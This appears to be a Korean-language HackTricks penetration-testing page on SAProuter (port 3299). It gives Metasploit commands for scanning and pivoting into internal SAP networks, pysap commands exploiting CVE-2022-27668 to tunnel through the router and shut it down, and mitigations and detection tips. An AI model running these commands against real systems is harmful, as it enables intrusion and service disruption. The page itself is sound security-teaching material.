# 3299/tcp - Pentesting SAProuter

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기
text
PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

이것은 https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/의 게시물 요약입니다.

Metasploit을 이용한 SAProuter 침투 이해하기

SAProuter는 SAP 시스템을 위한 리버스 프록시 역할을 하며, 주로 인터넷과 내부 SAP 네트워크 간의 접근을 제어합니다. 일반적으로 TCP 포트 3299를 통해 조직의 방화벽을 통과하여 인터넷에 노출됩니다. 이 설정은 SAProuter를 침투 테스트의 매력적인 대상으로 만들며, 고가치 내부 네트워크로의 게이트웨이 역할을 할 수 있습니다.

스캐닝 및 정보 수집

초기에는 sap_service_discovery 모듈을 사용하여 주어진 IP에서 SAP 라우터가 실행 중인지 확인하기 위해 스캔을 수행합니다. 이 단계는 SAP 라우터의 존재와 열린 포트를 확인하는 데 중요합니다.

text
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run

발견 후, sap_router_info_request 모듈을 사용하여 SAP 라우터의 구성에 대한 추가 조사가 수행되어 내부 네트워크 세부정보를 잠재적으로 드러냅니다.

text
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run

내부 서비스 열거하기

획득한 내부 네트워크 통찰력을 바탕으로, sap_router_portscanner 모듈은 SAProuter를 통해 내부 호스트와 서비스를 탐색하는 데 사용되어 내부 네트워크 및 서비스 구성에 대한 더 깊은 이해를 제공합니다.

text
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN

이 모듈은 특정 SAP 인스턴스와 포트를 타겟팅하는 유연성 덕분에 내부 네트워크 탐색에 효과적인 도구입니다.

고급 열거 및 ACL 매핑

추가 스캔을 통해 SAProuter에서 액세스 제어 목록(ACL)이 어떻게 구성되어 있는지, 어떤 연결이 허용되거나 차단되는지를 확인할 수 있습니다. 이 정보는 보안 정책과 잠재적 취약점을 이해하는 데 중요합니다.

text
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN

내부 호스트의 블라인드 열거

SAProuter에서 직접적인 정보가 제한된 시나리오에서는 블라인드 열거와 같은 기술을 적용할 수 있습니다. 이 접근 방식은 내부 호스트 이름의 존재를 추측하고 확인하려고 시도하여 직접적인 IP 주소 없이 잠재적인 대상을 드러냅니다.

침투 테스트를 위한 정보 활용

네트워크를 매핑하고 접근 가능한 서비스를 식별한 후, 침투 테스트 담당자는 Metasploit의 프록시 기능을 활용하여 SAProuter를 통해 내부 SAP 서비스의 추가 탐색 및 악용을 위해 피벗할 수 있습니다.

text
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

결론

이 접근 방식은 안전한 SAProuter 구성의 중요성을 강조하고, 목표 지향적인 침투 테스트를 통해 내부 네트워크에 접근할 수 있는 가능성을 부각시킵니다. SAP 라우터를 적절히 보호하고 네트워크 보안 아키텍처에서의 역할을 이해하는 것은 무단 접근으로부터 보호하는 데 중요합니다.

Metasploit 모듈 및 사용법에 대한 자세한 정보는 Rapid7의 데이터베이스를 방문하세요.


최근 취약점 (2022-2025)

CVE-2022-27668 – 부적절한 접근 제어 ➜ 원격 관리 명령 실행

2022년 6월 SAP는 SAProuter(모든 커널 ≥ 7.22)의 치명적인 결함(CVSS 9.8)을 다룬 보안 노트 3158375를 발표했습니다. 인증되지 않은 공격자는 허용된 saprouttab 항목을 악용하여 원격 호스트에서 관리 패킷(예: shutdown, trace-level, connection-kill)을 보낼 수 있습니다. 이는 라우터가 -X 원격 관리 옵션 없이 시작되었을 때도 가능합니다.

이 문제는 지정되지 않은 주소 0.0.0.0을 타겟으로 하여 라우터의 자체 루프백 인터페이스로 터널을 구축할 수 있는 가능성에서 발생합니다. 터널이 설정되면 공격자는 로컬 호스트 권한을 얻고 모든 관리 명령을 실행할 수 있습니다.

실제 악용은 pysap 프레임워크로 재현할 수 있습니다:

bash
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0    -r 3299 \
-a 127.0.0.1  -l 3299 -v

# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299

영향을 받는 버전

  • 독립형 SAProuter 7.22 / 7.53
  • 커널 7.49, 7.77, 7.81, 7.85–7.88 (KRNL64NUC/UC 포함)

수정 / 완화

  1. SAP 노트 3158375와 함께 제공된 패치를 적용합니다.
  2. saprouttabPS 라인에서 와일드카드(*) 대상을 제거합니다.
  3. 라우터가 -X 옵션 없이 시작되고 인터넷에 직접 노출되지 않도록 합니다.

업데이트된 도구 및 트릭

  • pysap – 적극적으로 유지 관리되며, 사용자 정의 NI/Router 패킷을 제작하거나 ACL을 퍼징하거나 CVE-2022-27668 익스플로잇을 자동화하기 위해 router_portfw.py, router_admin.pyrouter_trace.py를 제공합니다.
  • Nmap – 사용자 정의 SAProuter 프로브를 추가하여 서비스 탐지를 확장합니다:
text
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/

NSE 스크립트 또는 --script=banner와 결합하여 배너 문자열(SAProuter <ver> on '<host>')을 유출하는 버전을 빠르게 식별합니다.

  • Metasploit – 위에 표시된 보조 모듈은 pysap로 생성된 SOCKS 또는 NI 프록시를 통해 여전히 작동하여 라우터가 직접 접근을 차단하더라도 전체 프레임워크 통합을 가능하게 합니다.

강화 및 탐지 체크리스트

  • 경계 방화벽에서 포트 3299/TCP를 필터링합니다 – 신뢰할 수 있는 SAP 지원 네트워크에서만 트래픽을 허용합니다.
  • SAProuter를 완전히 패치 상태로 유지합니다; saprouter -v로 확인하고 최신 커널 패치 수준과 비교합니다.
  • saprouttab에서 엄격하고 호스트 특정 항목을 사용합니다; * 와일드카드를 피하고 임의의 호스트나 포트를 대상으로 하는 P/S 규칙을 거부합니다.
  • 서비스 시작 시 -S <secudir> + SNC를 사용하여 암호화 및 상호 인증을 강제합니다.
  • 원격 관리(-X)를 비활성화하고, 가능하다면 리스너를 127.0.0.1에 바인딩하고 필요한 트래픽을 위해 외부 리버스 프록시를 사용합니다.
  • 의심스러운 ROUTER_ADM 패킷이나 0.0.0.0에 대한 예상치 못한 NI_ROUTE 요청을 위해 dev_rout 로그를 모니터링합니다.

참조

Shodan

  • port:3299 !HTTP Network packet too big

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기